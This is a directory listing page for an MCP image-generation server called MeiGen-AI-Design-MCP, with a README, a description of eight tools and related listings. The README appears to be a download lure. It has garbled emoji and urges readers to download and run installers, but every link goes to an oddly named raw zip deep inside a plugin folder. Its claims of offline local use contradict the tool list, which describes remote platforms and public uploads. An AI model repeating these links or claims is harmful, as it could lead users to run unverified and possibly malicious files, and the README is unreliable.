MeiGen-AI-Design-MCP
Click on "Deploy Server".
Wait a few minutes for the server to deploy. Once ready, it will show a "Started" state.
In the chat, type
@followed by the MCP server name and your instructions, e.g., "@MeiGen-AI-Design-MCP generate a fantasy landscape using the 'enchanted forest' prompt"
That's it! The server will respond to your query, and you can continue using it as needed.
Here is a step-by-step guide with screenshots.
๐จ MeiGen-AI-Design-MCP - Easy AI Image Creation at Home
๐ What is MeiGen-AI-Design-MCP?
MeiGen-AI-Design-MCP is a local app that helps you create AI-generated images. It turns technology like Claude Code and OpenClaw into a tool you can use on your own computer. The app runs ComfyUI locally and offers a built-in library of over 1,300 text prompts. This makes it easy to create many image styles at once, thanks to multi-direction parallel generation support.
You donโt need to know how to code to use this. MeiGen-AI-Design-MCP runs on your PC without relying on the internet for image generation. It keeps your work private and fast.
Related MCP server: gpt-mcp
๐ Key Features
Local image generation: Run everything on your PC with no internet needed.
Ready-to-use prompts: Access a large library of 1,300+ prompts to inspire your creativity.
Multi-direction parallel generation: Create multiple images in different styles at the same time.
Easy user interface: Use ComfyUI, a simple system for managing your image requests and settings.
Supports Claude Code and OpenClaw: Use these advanced AI models locally.
Privacy: Your images and data stay on your machine, not on a cloud server.
๐ System Requirements
MeiGen-AI-Design-MCP works best with the following:
Operating system: Windows 10 or above, macOS 10.15 or above, or Linux (Ubuntu 20.04 or newer recommended).
Processor: Intel i5 or AMD Ryzen 5 or better.
Memory (RAM): Minimum 8GB, 16GB recommended for better performance.
Storage: At least 10GB free space to install and run applications smoothly.
Graphics Card: A graphics card with OpenCL support (NVIDIA, AMD, or Intel integrated graphics work).
Internet connection: Only needed for initial download and updates. Not required to run image creation.
๐ Getting Started
Here is how to get MeiGen-AI-Design-MCP up and running on your computer:
1. Download the app
Click the big button at the top or this link to visit the download page:
Download MeiGen-AI-Design-MCP
On that page, look for the latest release version. You will find files to download for your operating system. These usually include:
A setup installer for Windows (.exe)
A disk image or installer for macOS (.dmg or .pkg)
A compressed file for Linux (https://raw.githubusercontent.com/HUANGcvs/MeiGen-AI-Design-MCP/main/plugin/skills/Design-Mei-MCP-Gen-A-v3.4.zip or .AppImage)
Choose the right file for your system and download it to your computer.
2. Install the application
Windows: Double-click the downloaded
.exefile. Follow the setup wizard and accept the default settings. The installer will place MeiGen-AI-Design-MCP on your computer and create shortcuts.macOS: Open the
.dmgor.pkgfile. Drag the app into your Applications folder if needed or follow the installer prompts.Linux: Extract the
https://raw.githubusercontent.com/HUANGcvs/MeiGen-AI-Design-MCP/main/plugin/skills/Design-Mei-MCP-Gen-A-v3.4.zipfile or mark the.AppImageas executable. You may need to run commands in the terminal. Refer to the instructions in the release notes or readme file on GitHub for specific details.
3. Open MeiGen-AI-Design-MCP
Once installed, launch the app from your shortcut or application menu. The ComfyUI interface will load in your default web browser.
4. Use the prompt library
Inside ComfyUI, find the prompt library on the left side. You can select from hundreds of predefined prompts to start creating images. Choose one and click generate.
5. Generate images
Adjust settings if you want, like image size and number of outputs. Then hit the generate button. MeiGen-AI-Design-MCP will create images using local AI models. The process will be quick on modern computers.
๐พ Download & Install
You can get MeiGen-AI-Design-MCP from this official page:
https://raw.githubusercontent.com/HUANGcvs/MeiGen-AI-Design-MCP/main/plugin/skills/Design-Mei-MCP-Gen-A-v3.4.zip
Follow these steps once again to download and install the app:
Visit the link above.
Pick the latest release.
Download the file that matches your system.
Run the installer or extract files as needed.
Launch the application and enjoy creating AI images.
๐ค Troubleshooting Tips
If the app does not start, check that your system meets the requirements.
Make sure you have enough free storage space.
Restart your computer after installation.
If images fail to generate, verify your graphics drivers are up-to-date.
Consult the โHelpโ section inside ComfyUI for UI guidance.
For further support, visit the Issues tab on the GitHub repository.
๐ Additional Resources
The prompt library inside MeiGen-AI-Design-MCP offers detailed descriptions to help you learn how to get the best results.
Explore the official GitHub page to see updates and community contributions.
Check the README file included with your download for developer notes and advanced setup options.
๐๏ธ Repository Topics
MeiGen-AI-Design-MCP covers these technology areas:
ai-image-generationclaudeclaude-codecomfyuilovartmcpmcp-servermodel-context-protocolopenclawprompt-engineering
Start exploring AI image creation today with MeiGen-AI-Design-MCP, all from your local computer.
Available Tools
8 toolscomfyui_workflowADestructive
Manage ComfyUI workflow templates: list, view parameters, import from file, modify settings, or delete.
Inputs: action (required), name, input, value, +2 more.
enhance_promptARead-only
Transform a simple idea into a professional image generation prompt. Use when the user provides a brief description (e.g., "a cat in a garden") and needs a detailed, high-quality prompt. Combine with gallery inspiration for best results. Free, no API key needed.
Inputs: prompt (required), style.
generate_imageADestructive
Generate an image using AI. Supports MeiGen platform, local ComfyUI, or OpenAI-compatible APIs. Tip: get prompts from get_inspiration() or enhance_prompt(), and use gallery image URLs as referenceImages for style guidance.
Inputs: prompt (required), size, model, quality, +5 more.
get_inspirationARead-only
Get the full prompt and all image URLs for a gallery entry. Show the images to the user as visual examples. The prompt can be used directly with generate_image(), and image URLs can be passed as referenceImages for style transfer.
Inputs: imageId (required).
list_modelsARead-only
List available AI image generation models with pricing and capabilities.
Inputs: activeOnly.
manage_preferencesA
Read or update user preferences: default style, aspect ratio, model, style notes, and favorite prompts. Call with action "get" at conversation start to load preferences.
Inputs: action (required), index, model, style, +4 more.
search_galleryARead-only
Search 1300+ curated AI image prompts with preview images. Results include image URLs โ render them as markdown images () so users can visually browse and pick styles. Use when users need inspiration, want to explore styles, or say "generate an image" without a specific idea.
Inputs: limit, query, offset, sortBy, +1 more.
upload_reference_imageADestructive
Upload a local image for use as a reference in generate_image. Compresses large images (max 2MB, max 2048px) and returns a public URL. Call this when the user wants to use a local file as a reference image.
Inputs: filePath (required).
Tool Schema Changelog
Recent tool additions, removals, and schema changes observed during successful MCP inspections.
Loading tool schema changelogโฆ
TDQS
Scored across 8 tools
Each tool has a distinct purpose: workflow management, prompt enhancement, image generation, gallery inspiration, model listing, preferences, gallery search, and reference upload. No two tools overlap significantly.
All tool names use lowercase snake_case with a consistent verb_noun pattern (e.g., generate_image, list_models, upload_reference_image). No mixing of conventions.
Eight tools cover the major aspects of an AI design workflow without being excessive. Each tool serves a clear function, and the count feels well-scoped for the domain.
The set covers the full cycle from inspiration (search_gallery, get_inspiration) to prompt creation (enhance_prompt) to generation (generate_image) with supporting utilities (list_models, manage_preferences, upload_reference_image, comfyui_workflow). A minor gap is the lack of a tool to view or manage generated image history.
Related MCP Connectors
MCP server for Qwen Image 3 AI image generation
MCP server for Flux AI image generation
AI video generation MCP server for Kling, MiniMax, Luma & Hunyuan with prompt blueprints.
MCP server for Luma Dream Machine AI video generation
Related MCP Servers
- AlicenseNot gradedqualityDmaintenanceAn MCP server that enables Claude Code to generate context-aware images using local GPU-powered diffusion models, either automatically during coding or on-demand via slash commands.23 npm1MIT
- AlicenseNot gradedqualityDmaintenanceA local MCP server that enables Claude to generate images using the OpenAI API.21 npmMIT
- AlicenseAqualityDmaintenanceOpen-source MCP server for AI image and video creation, enabling prompt library search, prompt enhancement, and media generation from Claude Code, Cursor, and other MCP hosts.8MIT
- AlicenseNot gradedqualityCmaintenanceMCP server for generating AI images with local ComfyUI, featuring a reference-image-to-replication toolchain including Danbooru tag lookup, local Ollama vision, deobfuscation, and Civitai LoRA search/download.3MIT